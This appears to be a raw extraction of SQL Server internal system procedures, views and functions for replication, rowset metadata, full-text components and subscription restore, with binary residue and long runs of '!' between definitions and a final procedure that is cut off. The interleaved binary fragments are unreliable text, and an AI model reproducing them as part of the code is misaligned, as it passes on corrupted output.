03 D8{h	4:	0;6= 3	8create procedure sys.sp_MSrepl_subscription_rowset
(
    @subscriber sysname,
    @agent_id int,
    @agent_type int = 0
)
AS
BEGIN
    DECLARE @retcode int
    DECLARE @subscriber_provider sysname
    
    SELECT @subscriber_provider = NULL
    
    -- Security check: sysadmin/dbo/PAL only
    EXEC @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,
                                                @agent_type = @agent_type
    IF @@error <> 0 or @retcode <> 0
        RETURN 1
        
	-- Query the MSdistribution_agents entry for the subscriber provider
    SELECT  @subscriber_provider = ma.subscriber_provider
    FROM    MSdistribution_agents ma, master.dbo.sysservers ss
    WHERE    UPPER(ss.srvname) = UPPER(@subscriber) collate database_default
      AND    ma.subscriber_id = ss.srvid
      AND    ma.id = @agent_id

    IF @@error <> 0
        RETURN 1
    
	-- If the subscriber_provider from the MSdistribution_agents table is     
    -- NULL, we either have a downlevel publisher, or yukon security is not
    -- enabled.  In both cases, we need to call sp_MSrepl_linkedserver_rowset
    -- to generate the rowset.
    IF ISNULL(@subscriber_provider, N' ') = N' '
    BEGIN
        exec @retcode = sys.sp_MSrepl_linkedservers_rowset @srvname = @subscriber,
														  @agent_id = @agent_id,
														  @agent_type = @agent_type
		IF @@error <> 0 or @retcode <> 0
		BEGIN
			RETURN 1
		END
			
		RETURN 0	
			
    END 

	-- Query the MSdistribution_agents entry for the subscriber information
    SELECT  SUB_NAME            = ss.srvname,
            SUB_PRODUCT         = ss.srvproduct,
            SUB_PROVIDERNAME    = ma.subscriber_provider,
            SUB_DATASOURCE      = ma.subscriber_datasrc,
            SUB_PROVIDERSTRING  = ma.subscriber_provider_string,
            SUB_LOCATION        = ma.subscriber_location,
            SUB_CATALOG         = ma.subscriber_catalog
    FROM    MSdistribution_agents ma, master.dbo.sysservers ss
    WHERE    UPPER(ss.srvname) = UPPER(@subscriber) collate database_default
      AND    ma.subscriber_id = ss.srvid
      AND    ma.id = @agent_id

    IF @@error <> 0
    BEGIN
        RETURN 1
    END    
                                               
    RETURN 0
END
00 8
create function [sys].[fn_cdc_db_name_from_job_entry]
(
	@old_database_name sysname
)
returns sysname
with execute as 'dbo'
as
begin
	declare @new_database_name sysname

	select @new_database_name = db_name(c.database_id) 
	from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobsteps s on c.job_id = s.job_id
	where s.database_name = @old_database_name collate database_default
	
	return @new_database_name
	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
DuHC}Bk0J 8
create procedure sys.sp_primary_keys_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
        TABLE_NAME      = s_pkv.TABLE_NAME,
        COLUMN_NAME     = s_pkv.COLUMN_NAME,
        COLUMN_GUID     = s_pkv.COLUMN_GUID,
        COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
        ORDINAL         = s_pkv.ORDINAL,
        PK_NAME         = s_pkv.PK_NAME
    from
        sys.spt_primary_keys_view s_pkv
    where
        (@table_schema is null and s_pkv.TABLE_NAME = @table_name) or
        s_pkv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
    order by 2, 3
0J 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_primary_keys_rowset;2
(
    @table_schema       sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
        TABLE_NAME      = s_pkv.TABLE_NAME,
        COLUMN_NAME     = s_pkv.COLUMN_NAME,
        COLUMN_GUID     = s_pkv.COLUMN_GUID,
        COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
        ORDINAL         = s_pkv.ORDINAL,
        PK_NAME         = s_pkv.PK_NAME
    from
        sys.spt_primary_keys_view s_pkv
    where
        (@table_schema is null or schema_id(@table_schema) = s_pkv.schema_id)
    order by 2, 3
0J 38

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_primary_keys_rowset;3
(
    @table_name         sysname = null,
    @table_schema       sysname = null
)
as
    if @table_name is not null
    begin
    -----------------------------------------------------------
    -- copy & pasted from version 1 - no modifications!
    -----------------------------------------------------------
        select
            TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
            TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
            TABLE_NAME      = s_pkv.TABLE_NAME,
            COLUMN_NAME     = s_pkv.COLUMN_NAME,
            COLUMN_GUID     = s_pkv.COLUMN_GUID,
            COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
            ORDINAL         = s_pkv.ORDINAL,
            PK_NAME         = s_pkv.PK_NAME
        from
            sys.spt_primary_keys_view s_pkv
        where
            (@table_schema is null and s_pkv.TABLE_NAME = @table_name) or
            s_pkv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        order by 2, 3
    end
    else
    begin
    -------------------------------------------------------------------------------------------
    -- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
    -------------------------------------------------------------------------------------------
        select
            TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
            TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
            TABLE_NAME      = s_pkv.TABLE_NAME,
            COLUMN_NAME     = s_pkv.COLUMN_NAME,
            COLUMN_GUID     = s_pkv.COLUMN_GUID,
            COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
            ORDINAL         = s_pkv.ORDINAL,
            PK_NAME         = s_pkv.PK_NAME
        from
            sys.spt_primary_keys_view s_pkv
        where
            (@table_schema is null or schema_id(@table_schema) = s_pkv.schema_id)
        order by 2, 3
    end
0J 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_primary_keys_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        ORDINAL
        PK_NAME
    from
        sys.fn_remote_primary_keys(@table_server, @table_catalog, @table_schema, @table_name)
    order by 1,2,3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = s_tr.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tr.TABLE_SCHEMA,
        TABLE_NAME      = s_tr.TABLE_NAME,
        TABLE_TYPE      = s_tr.TABLE_TYPE,
        TABLE_GUID      = s_tr.TABLE_GUID,
        DESCRIPTION     = s_tr.DESCRIPTION,
        TABLE_PROPID    = s_tr.TABLE_PROPID,
        DATE_CREATED    = s_tr.DATE_CREATED,
        DATE_MODIFIED   = s_tr.DATE_MODIFIED
    from
        sys.spt_tables_view s_tr
    where
        (@table_schema is null or schema_id(@table_schema) = s_tr.schema_id) and
        (@table_type is null or @table_type = s_tr.TABLE_TYPE)
    order by 4, 2, 3
0Y@ 8CREATE VIEW sys.dm_xe_object_columns AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_OBJECT_COLUMNS) 
0@ b8create procedure sys.sp_resyncmergesubscription 
    @publisher            sysname = NULL,
    @publisher_db        sysname = NULL,
    @publication        sysname,
    @subscriber            sysname = NULL,
    @subscriber_db        sysname = NULL,
    @resync_type        int, --0:force convergence, 1: since last successful validation, 2:since a given date
    @resync_date_str    nvarchar(30) = NULL
AS
    declare @retcode             int
    declare @subid                uniqueidentifier
    declare @pubid                uniqueidentifier
    declare @subscriber_srvid     int
    declare @resync_gen            bigint
    declare @smallest_open_gen        bigint
    declare @resync_date        datetime
    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	-- @resyn_date_str needs to be specified when @resync_type is 2
	if (@resync_date_str is NULL) and (@resync_type = 2)
    begin
        raiserror(22552, 16, -1)
        return (1)
    end
	
    if isdate(@resync_date_str)=0 and @resync_type=2
    begin
        raiserror(21370, 16, -1, @resync_date_str)
        return (1)
    end
    if @resync_date_str is not NULL
        select @resync_date=convert(datetime, @resync_date_str)
    else
        select @resync_date = NULl
    
    /*
    ** parameter checking for null/not-null; including validity of @resync_type and @resync_date
    */

    if ((@publisher is NULL and @subscriber is NULL) or
       (@publisher is not NULL and @subscriber is not NULL) or
       (@publisher is NULL and @publisher_db is not NULL) or
       (@subscriber is NULL and @subscriber_db is not NULL) or
       (@publisher is not NULL and @publisher_db is NULL) or
       (@subscriber is not NULL and @subscriber_db is NULL))
       begin
               raiserror(21294, 16, -1)
               return (1)
       end

    if @resync_type<0 or @resync_type>2
        begin
            raiserror(21296, 16, -1)
            return (1)
        end

    if @publisher is NULL    
        select @publisher=publishingservername()
    if @publisher_db is NULL
        select @publisher_db=db_name()
    if @subscriber is NULL
        select @subscriber=@@SERVERNAME
    if @subscriber_db is NULL
        select @subscriber_db=db_name()
        
    select @pubid = pubid from dbo.sysmergepublications where name=@publication and lower(publisher)=lower(@publisher) and publisher_db=@publisher_db
    if (@pubid is null)
        begin
            RAISERROR (20026, 16, -1, @publication)
            return (1)
        end
    select @subid=subid from dbo.sysmergesubscriptions 
        where pubid=@pubid and LOWER(subscriber_server)=LOWER(@subscriber) and db_name=@subscriber_db
    if @resync_type > 0 --since a given date or last validation    
    begin
        if @resync_type = 1    -- last validation time; make sure resync_date is not NULL in this case; 
        begin
            select @resync_date=last_validated from dbo.sysmergesubscriptions where subid=@subid
            -- invalid case - there is no prior validation, this call is a non-op.
            if @resync_date is NULL
            begin
                raiserror(22553, 16, -1, @resync_type)
                return (1)
            end
        end
        
        select @resync_gen=NULL
        select top 1 @resync_gen=generation from dbo.MSmerge_genhistory 
            where  coldate > @resync_date 
                    and art_nick in (select nickname from dbo.sysmergearticles where pubid=@pubid)
                    and genstatus in (1,2)
                order by coldate ASC
        -- this is valid case, meaning there is no need to do any resynchronization
        if @resync_gen is NULL
        begin
            return (0)
        end

        -- We can not set the resync_gen to be larger than a open generation so do the following to
        -- verify that we don't.
        -- Make sure that there aren't any open generations below the resyn_gen we have picked.
        -- Following query finds the smallest open generation below the resyn_gen we have picked.
        select @smallest_open_gen = NULL
        select top 1 @smallest_open_gen = generation from dbo.MSmerge_genhistory
            where    generation < @resync_gen
                and  genstatus in (0, 4)
            order by generation ASC

        -- If there exists a open generation with generation values lower than resync_gen then
        -- set resync_gen to the highest closed generation below the open generation.
        if (@smallest_open_gen is not NULL)
        begin
          select @resync_gen=NULL
            select top 1 @resync_gen = generation from dbo.MSmerge_genhistory
                where generation < @smallest_open_gen
                    and genstatus in (1,2)
                order by generation DESC
                
            if (@resync_gen is NULL)
                select @resync_gen = 0                            
        end                                        
    end
    else if @resync_type=0
        select @resync_gen=0 -- force convergence case
    update  dbo.MSmerge_replinfo  set resync_gen=@resync_gen where repid=@subid
    if @@ERROR<>0
        begin
            raiserror(21298, 16, -1)
            return (1)
        end
0@ D8h
u7!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z``
<_4*A0M 8CREATE VIEW sys.dm_server_memory_dumps AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_MEMORY_DUMPS) 
0 8create procedure sys.sp_help_fulltext_system_components
	@component_type sysname = NULL,		-- component type wordbreaker or filter
	@param      	sysname = NULL		-- wordbreaker lcid, or filter extension, or PH name, or fullpath
as
    -- dump catalogs that used the component that specified
	if ((@component_type is null) or 
	     @component_type not in ('wordbreaker','filter', 'protocol handler', 'fullpath', 'all'))
    begin
        raiserror(15600,-1,-1,'sys.sp_help_fulltext_system_components')
        return 1
    end

    declare @reg_components TABLE(componenttype sysname, 
                                  componentname sysname, 
                                  clsid uniqueidentifier, 
                                  fullpath nvarchar(256), 
                                  version nvarchar(30),
                                  manufacturer sysname)

	-- list all components registered in system
    if (@component_type = 'all')
    begin
    	-- @param must be null if we want to dump all components registered in system
        if (@param is not null)
	    begin
	        raiserror(15600,-1,-1,'sys.sp_help_fulltext_system_components')
	        return 1
	    end

		--select componentname, clsid, fullpath, version
		insert into @reg_components 
					select componenttype, 
                           componentname, 
                           clsid, 
                           fullpath, 
                           version,
                           manufacturer 
                    from sys.fn_ftcatcomponents(1, 0, 0)
    end

	-- list all components registered in system with specified type
	-- if @param is specified, we are looking for specific component
    if (@component_type in ('wordbreaker','filter', 'protocol handler'))
    begin
		-- if @param is not null, we only dump registered components which has name @param
    	insert into @reg_components 
					select componenttype, 
                           componentname, 
                           clsid, 
                           fullpath, 
                           version,
                           manufacturer 
			    	from sys.fn_ftcatcomponents(1, 0, 0)
			    	where componenttype = @component_type AND ( @param is null OR componentname = @param)
    end
    
    if (@component_type = 'fullpath')
    begin
	    -- CHECK PERMISSIONS (must be serveradmin) --
	    if (is_srvrolemember('serveradmin') = 0)
	    begin
	        raiserror(15247,-1,-1)
	        return 1
	    end

    	-- @param must not be null if we want to search based on fullpath
        if (@param is null)
	    begin
	        raiserror(15600,-1,-1,'sys.sp_help_fulltext_system_components')
	        return 1
	    end
	    
    	insert into @reg_components 
					select componenttype, 
                           componentname, 
                           clsid, 
                           fullpath, 
                           version,
                           manufacturer 
			    	from sys.fn_ftcatcomponents(1, 0, 0)
			    	where fullpath = @param
    end

	-- dump registered components to user
    select componenttype, 
           componentname, 
           clsid, 
           (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [fullpath], 
           version,
           manufacturer  from @reg_components


	-- if we find any registered components meets the requirment, 
	-- and if we search for a specific type of component, we need to dump all catalogs that used them.
    if (@param is not null and @@ROWCOUNT > 0)
    begin
    	select distinct smf.database_id as dbid, ftcomp.catalogid as ftcatid
		from sys.master_files as smf cross apply sys.fn_ftcatcomponents(0, smf.database_id, smf.file_id) as ftcomp 
		     join @reg_components as regcomp on (ftcomp.clsid = regcomp.clsid AND 
		                                         ftcomp.componenttype collate catalog_default = regcomp.componenttype collate catalog_default)
		where smf.type = 4 -- is_fulltext_catalog
    end
0@ \8--
-- Name: 
--		sp_MSchange_repl_job
-- 
-- Description: 
--		This procedure should be used to update replication jobs.
--		Here we validate that the job being updated is replication
--		related and in certain cases we check to see if the current
--		user is a sysadmin or that the current database context is 
--		the same as the one used when creating the job. We also check 
--		to ensure that the job exists. If it does not exist we fail
-- 		and exit with error.
--  
-- Parameters: 
--		See definition
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
-- Requires Certificate signature for catalog access
--		Procedure is NOT PUBLIC so there are no security checks.
--		We do however ensure that the job being updated is replication
--		related. In certain jobs we also ensure that the user is sysadmin
--		or that the current database context is the same as the on used
--		when creating the job.
--
CREATE PROCEDURE sys.sp_MSchange_repl_job
(
	@id 							uniqueidentifier,
	@step_uid						uniqueidentifier,
	@name							nvarchar(100) = NULL,
	@frequency_type 				int = NULL,
	@frequency_interval 			int = NULL,
	@frequency_subday				int = NULL,
	@frequency_subday_interval		int = NULL,
	@frequency_relative_interval	int = NULL,
	@frequency_recurrence_factor	int = NULL,
	@active_start_date				int = NULL,
	@active_end_date				int = NULL,
	@active_start_time_of_day		int = NULL,
	@active_end_time_of_day 		int = NULL,
	@login							nvarchar(257) = NULL,
	@password						sysname = NULL,
	@proxy_id                       int = NULL OUTPUT 
)
AS
BEGIN
	DECLARE @retcode int

	EXEC @retcode = sys.sp_MSrepl_check_job_access @id 			= @id,
													@step_uid	= @step_uid,
													@name		= @name
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
		RETURN 1
	END

	-- call internal change procedure
	EXEC @retcode = sys.sp_MSchange_repl_job_unsafe @id 								= @id,
														@step_uid						= @step_uid,
														@name							= @name,
														@frequency_type 				= @frequency_type,
														@frequency_interval 			= @frequency_interval,
														@frequency_subday				= @frequency_subday,
														@frequency_subday_interval		= @frequency_subday_interval,
														@frequency_relative_interval	= @frequency_relative_interval,
														@frequency_recurrence_factor	= @frequency_recurrence_factor,
														@active_start_date				= @active_start_date,
														@active_end_date				= @active_end_date,
														@active_start_time_of_day		= @active_start_time_of_day,
														@active_end_time_of_day 		= @active_end_time_of_day,
														@login							= @login,
														@password						= @password,
														@proxy_id                       = @proxy_id OUTPUT

	RETURN @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
[
</.0E@ k8CREATE VIEW sys.parameters$ AS
	SELECT c.id AS object_id,
		c.number, c.name,
		c.colid AS parameter_id,
		c.xtype AS system_type_id,
		c.utype AS user_type_id,
		c.length AS max_length,
		c.prec AS precision,
		c.scale AS scale,
		sysconv(bit, c.status & 512) AS is_output,		-- CPM_OUTPUT
		sysconv(bit, c.status & 1024) AS is_cursor_ref,	-- CPM_CURSORREF
		sysconv(bit, isnull(v.objid, 0)) AS has_default_value,
		sysconv(bit, c.status & 2048) AS is_xml_document, -- CPM_XML_DOC		
		v.value AS default_value,
		xmlns AS xml_collection_id,
		sysconv(bit, c.status & 4194304) AS is_readonly -- CPM_IS_READONLY = 0x00400000
	FROM sys.syscolpars c
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 9 AND v.objid = c.id AND v.subobjid = c.colid AND v.valnum = 0	-- SVC_PARAMDEFAULT
	WHERE number > 0 AND has_access('CO', c.id) = 1
0%rX o8
CREATE PROCEDURE sys.sp_getProcessorUsage 
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END
	IF ( HAS_PERMS_BY_NAME(null, null, 'VIEW SERVER STATE') != 1 )
	BEGIN
		RAISERROR(38002, -1, -1, 'View Server State')
		RETURN 38002
	END
	SELECT sys.fn_getProcessorUsage_internal()
END
01c@ 98create procedure sys.sp_MSrestore_sub 
(
    @subscriber_security_mode 	int,                        
    @subscriber_login           sysname,
    @subscriber_password        nvarchar(524),
    @distributor_security_mode	int,
	@distributor_login			sysname,
	@distributor_password		sysname,
	@publisher_security_mode	int,
	@publisher_login			sysname,
	@publisher_password			sysname,
	@job_login					nvarchar(257),
	@job_password				sysname,
	@db_master_key_password		nvarchar(524) = NULL
)
AS

    SET NOCOUNT ON

	-- NOTE on PASSWORD parameters:
	--
	-- It should be noted that we only allow you to specify
	-- one distributor/publisher security mode, login and 
	-- password even though it is possible that the subscriber
	-- database being attached had more than one subscription
	-- that pointed to different dists/pubs. We made the decision
	-- to add these parameters anyway since it would ease the
	-- pain of 98% of our users who only have one subscription 
	-- being copied.
	
    /*
    ** Declarations.
    */
    declare @retcode int,
    		@command nvarchar(4000)
    
    -- Initialization
    select @retcode = 0

	-- if master db key password was provided then we will open it
	IF @db_master_key_password IS NOT NULL
	BEGIN
		SELECT @command = 'OPEN MASTER KEY DECRYPTION BY PASSWORD = ''' + replace(@db_master_key_password, '''', '''''') + ''''
		EXEC(@command )
		IF @@ERROR <> 0
		BEGIN
			SELECT @retcode = 1
			GOTO Cleanup
		END

		-- create the keys/certificates required by repl for encryption
		-- we will do this here just in case the symmetric keys were dropped
		EXEC @retcode = sys.sp_MSaddreplsymmetrickey
		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			SELECT @retcode = 1
			GOTO Cleanup
		END
	END
	ELSE
	BEGIN
		-- if the master key was not provided then we should check to see if
		-- we can open the symetric key. sp_MSreplopensymmetrickey works in 
		-- the following manner:
		--  1) Master key does not exist it retruns 0
		--  2) Master key exists, it will attempt to create or open
		--     the symmetric key and will fail if master key is not open
		--
		-- Note that even though we are attempting to open the symetric keys 
		-- we will not use it to decrypt any replication passwords since on 
		-- copy we wipe out all passwords. here we are just ensuring that if 
		-- a master key exists we will be able to access it and use it durring 
		-- the encryption of new passwords.
		EXEC @retcode = sys.sp_MSreplopensymmetrickey
		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			SELECT @retcode = 1
			GOTO Cleanup
		END

		-- we should close this immediately since we were just 
		-- testing to see if the  master key was available...
		EXEC @retcode = sys.sp_MSreplclosesymmetrickey
		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			SELECT @retcode = 1
			GOTO Cleanup
		END
	END
	
    if object_id('MSreplication_subscriptions') is not NULL
    begin
        exec @retcode = sys.sp_MSrestore_sub_tran
            @subscriber_security_mode = @subscriber_security_mode,    
            @subscriber_login = @subscriber_login,
            @subscriber_password = @subscriber_password,
            @distributor_security_mode = @distributor_security_mode,
            @distributor_login = @distributor_login,
            @distributor_password = @distributor_password,
            @job_login = @job_login,
            @job_password = @job_password
        if @@error <> 0 or @retcode <> 0
        begin
            select @retcode = 1
            goto Cleanup
        end
    end
    if object_id('sysmergesubscriptions') is not NULL
    begin
        exec @retcode = sys.sp_MSrestore_sub_merge
            @subscriber_security_mode = @subscriber_security_mode,    
            @subscriber_login = @subscriber_login,
            @subscriber_password = @subscriber_password,
            @distributor_security_mode = @distributor_security_mode,
            @distributor_login = @distributor_login,
            @distributor_password = @distributor_password,
            @publisher_security_mode = @publisher_security_mode,
            @publisher_login = @publisher_login,
            @publisher_password = @publisher_password,
            @job_login = @job_login,
            @job_password = @job_password
        if @@error <> 0 or @retcode <> 0
        begin
            select @retcode = 1
            goto Cleanup
        end
    end

Cleanup:
    if object_id('MSreplication_restore_stage') is not NULL
        drop table MSreplication_restore_stage

    return    @retcode
0Maj 8
create procedure sys.sp_MSuniquetempname @name_in sysname,
 	@name_out sysname output
AS

	declare @subschars nvarchar(26)
	declare @curchar nchar(1)
	declare @substidx int
	declare @pos int
	declare @saverr int

	select @subschars = 'abcdefghijklmnopqrstuvwxyz'
	select @saverr = @@error
	if (@saverr <> 0)
		goto EXIT_LABEL
	select @name_out = @name_in
	select @saverr = @@error
	if (@saverr <> 0)
		goto EXIT_LABEL

	select @saverr = @@error
	if (@saverr <> 0)
		goto EXIT_LABEL
	select @substidx = 0
	select @pos = 3

	while exists (select * from tempdb.sys.objects where name = @name_out)
		begin
			if @substidx > 25 
				begin
				select @pos = @pos + 1
				select @substidx = 1
				end
			else
				select @substidx = @substidx + 1
			select @curchar = substring(@subschars, @substidx, 1)
			select @saverr = @@error
			if (@saverr <> 0)
				goto EXIT_LABEL
			select @name_out = stuff(@name_out, @pos, 1, @curchar)
			select @saverr = @@error
			if (@saverr <> 0)
				goto EXIT_LABEL
		end
		return (0)
EXIT_LABEL:
	if (@saverr <> 0)
		begin
			RAISERROR(15001, 16, -1, 'sp_MSuniquetempname')
			return (1)
		end
			
0yj@ 8create proc sys.sp_readerrorlog(
	@p1		int = 0,
	@p2		int = NULL,
	@p3		nvarchar(4000) = NULL,
	@p4		nvarchar(4000) = NULL)
as
begin

	if (not is_srvrolemember(N'securityadmin') = 1)
	begin
